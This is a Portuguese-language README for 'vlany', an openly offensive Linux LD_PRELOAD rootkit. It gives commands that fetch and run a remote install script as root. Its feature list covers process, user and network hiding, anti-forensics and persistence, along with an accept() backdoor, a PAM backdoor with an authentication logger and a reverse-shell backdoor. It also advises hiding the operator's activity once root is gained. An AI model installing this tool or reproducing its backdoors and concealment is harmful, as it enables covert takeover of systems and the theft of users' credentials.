vlany

VLANY NÃO É MAIS MANTIDO.

https://github.com/naworkcaj/bdvl IS. POR FAVOR, CONSULTE ISSO PARA ATUALIZAÇÕES CONSTANTES.

vlany (wiki)

vlany é um rootkit LD_PRELOAD do Linux .

• Lista de recursos
  
• Anti-Detecção

Instalando

• O script quick_install.sh do vlany é o método de instalação mais rápido/fácil.
  root@vlany:~# wget https://gist.githubusercontent.com/mempodippy/d93fd99164bace9e63752afb791a896b/raw/6b06d235beac8590f56c47b7f46e2e4fac9cf584/quick_install.sh -O /tmp/quick_install.sh && chmod +x /tmp/quick_install.sh && /tmp/quick_install.sh
  
  O script quick_install.sh baixa automaticamente a versão mais recente do vlany deste repositório, descompacta o arquivo e executa o script de instalação regular de um novo diretório aleatório em /tmp/. Por padrão, o script quick_install.sh remove o novo diretório assim que a execução for completamente concluída.
  

• É muito simples instalar o vlany em um sistema, pois ele vem com um script de instalação automatizado.
  Para instalar o vlany, você deve primeiro baixá-lo em nosso GitHub (sempre atualizado e confiável)
  root@vlany:~# wget https://github.com/mempodippy/vlany/archive/master.tar.gz && tar xvpfz master.tar.gz

• Depois de baixado, basta executar install.sh dentro do vlany-master.
  root@vlany:~# cd vlany-master && ./install.sh
  Por padrão, isso solicitará uma instalação tui, mas se cli for preferido, você poderá usar o argumento --cli para invocar uma instalação cli semelhante.
  

ASCIICAST DE INSTALAÇÃO

Instalação regular do tui em uma caixa Debian 8 usando um binário suid para escalar privilégios de um usuário tmp. Em um cenário da vida real, você vai querer brincar com algumas variáveis ​​de ambiente para evitar que alguém veja sua atividade quando estiver root.

Transferências

instalação_rápida.sh
vlany.tar.gz
populado const.h (após a execução do config.py)

Características

• Ocultação de processo
• Ocultação do usuário
• Ocultação de rede
• Recipiente LXC
• Anti-depuração
• Anti-Forense
• (re)instalação persistente e antidetecção
• Modificações do vinculador dinâmico
• Portas dos fundos
  • aceitar() backdoor (derivado de Jynx2)
  • Porta dos fundos PAM
    • Registrador de autenticação PAM
  • backdoor shell reverso snodew
• comandos exclusivos do vlany

Erros conhecidos

Quaisquer bugs listados aqui estarão presentes até que uma solução seja alcançada. Se um bug foi relatado como um problema, o problema correspondente também estará vinculado na lista de bugs. Caso um bug seja resolvido, a listagem será removida daqui, e se algum problema relacionado ao bug ainda estiver aberto, ele será encerrado.

Bugs sérios

1. Atualmente, há uma correção experimental do bloco de reinicialização. Alguns sistemas serão bloqueados, outros não. Por favor, relate quaisquer sistemas que travam na reinicialização como um problema e forneça as circunstâncias da instalação do vlany no relatório. Dê uma olhada na página Problemas para ver se um problema semelhante já foi enviado.
2. vlany não consegue instalar corretamente em nada acima do CentOS 6.6.

README.txt detalhado (muito detalhado, mas não mantido)

NOTA: vlany está em desenvolvimento ativo. Mudanças são feitas constantemente neste repositório, então tome cuidado, pois vlany é muito experimental.